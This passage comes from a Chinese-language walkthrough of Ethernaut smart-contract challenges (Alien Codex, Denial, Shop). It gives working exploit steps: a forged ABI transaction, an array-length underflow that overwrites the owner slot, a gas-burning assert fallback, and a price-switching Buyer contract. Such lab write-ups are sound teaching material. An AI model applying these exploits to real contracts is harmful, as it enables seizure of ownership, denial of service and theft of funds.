  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
  }
}

Ownable.sol源码传送门

这里我们首先看到无论调用按个函数都需要过contacted函数修饰器。所以首先就要使contact=true,那么就是要解决make_contact中的这个问题。
直接看 doc

https://solidity.readthedocs.io/en/v0.4.25/abi-spec.html#use-of-dynamic-types

这里描述了动态数组类型的 abi 标准,我们只需要构造长度的值就可以了。详细的构造在后面。

接下来我们需要修改 owner,很容易知道,owner 存储在slot 0里面,和contact在同一个 slot,但是我们先简单看下代码,只知道我们可以操作 codex 的值,codex 作为一个不定长的数组,我们根据 doc

https://solidity.readthedocs.io/en/v0.4.25/miscellaneous.html#layout-of-state-variables-in-storage

可以知道实际上在slot 1位置上存储的是 codex 的 length,而 codex 的实际内容存储在keccak256(bytes32(1))开始的位置。

Keccak-256 紧密打包的,意思是说参数不会补位,多个参数也会直接连接在一起。所以这里要用bytes32(1)而不是1.

这样我们就知道了 codex 实际的存储的 slot,因为总共有2**256个 slot,我们想要修改slot 0,假设 codex 实际所在slot x, 那么当我们修改codex[y](y=2**256-x)时就能因为溢出修改到slot 0,从而修改到 owner。

但是我们要修改codex[y], 那就要满足y<codex.length, 而这个时候我们codex.length的值很小,但是我们通过retract是 length 下溢然后就可以编辑codex[y]了。

所以接下来的操作很简单了。

  • 1.

      func="0x1d3d4c0b"; // 函数 id
      data1="0000000000000000000000000000000000000000000000000000000000000020"// 偏移
      data2="1000000000000000000000000000000000000000000000000000000000000001"// 长度,构造大于 2**200
      data=func+data1+data2
      web3.eth.sendTransaction({from:player,to:instance,data: data,gas: 1111111},function(x,y){console.error(y)});
    

    从而使contact=true

    1. 计算codex位置为slot 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6

      function go3() view returns(bytes32){
         return keccak256((bytes32(1)));
      }
      
    1. 计算 y,y=2**256-0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6
    1. 调用revise(y,player_addr),这里player_addr记得填充到 32 字节,比如我的地址是0x91c72f7200015195408378e9cb74e6f566dddf44,所以填充到0x00000000000000000000000091c72f7200015195408378e9cb74e6f566dddf44

然后就 ok 了。

Denial

题目代码如下:

pragma solidity ^0.4.24;

contract Denial {

    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address public constant owner = 0xA9E;
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance/100;
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call.value(amountToSend)();
        owner.transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = now;
        withdrawPartnerBalances[partner] += amountToSend;
    }

    // allow deposit of funds
    function() payable {}

    // convenience function
    function contractBalance() view returns (uint) {
        return address(this).balance;
    }
}

题目要求也比较简单,就是在调用 withdraw 时,禁止 owner 分走账户的 1% 的余额。

刚开始傻了,想的那很简单啊,利用withdraw函数的 reentrancy 问题,100 次就把账户转空了。然后才想起来是余额的 1%。最近脑子不好使。

那这样的话,可以考虑使 transfer 失败,也就是想办法把 gas 耗光。比如在partner合约中设置大量的存储或者一个循环运算。后来想起来一个最简单办法,assert, 这个函数触发异常之后会消耗所有可用的 gas,那么剩下的消息调用(比如owner.transfer(amountToSend)) 就没有 gas 可用了,就会失败了。
所以 attack 代码很简单:

contract attack{
    function() payable{
        assert(0==1);
    }
}

shop

题目代码如下:

pragma solidity 0.4.24;

contract Shop {
  uint public price = 100;
  bool public isSold;
  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price.gas(3000)() >= price && !isSold) {
      isSold = true;
      price = _buyer.price.gas(3000)();
    }
  }
}

要求是修改 price 低于 100,简单来说可就是_buyer.price.gas(3000)()两次返回不一样的值,比如第一次返回 100,第二次返回 0。似乎很简单,但是这里的难点在于 gas 限定了只有 3000,我们通常会想要使用一个状态变量,比如 a=0,第一次访问返回 100 之后修改为 1,第二次判断一下如果不为 0 就返回 0。但是一旦涉及到状态变量也就是storage的修改,那就不是简单的 3000gas 能够解决的了。这里发现题目有一个变量isSold, 我们可以根据这个的值判断该返回的大小,最后攻击合约如下:

pragma solidity 0.4.24;

contract Buyer {
    function price() view returns (uint) {
        return Shop(msg.sender).isSold()==true?0:100;  
    }
  function go(address param){
      Shop a = Shop(param);
      a.buy();
  }
}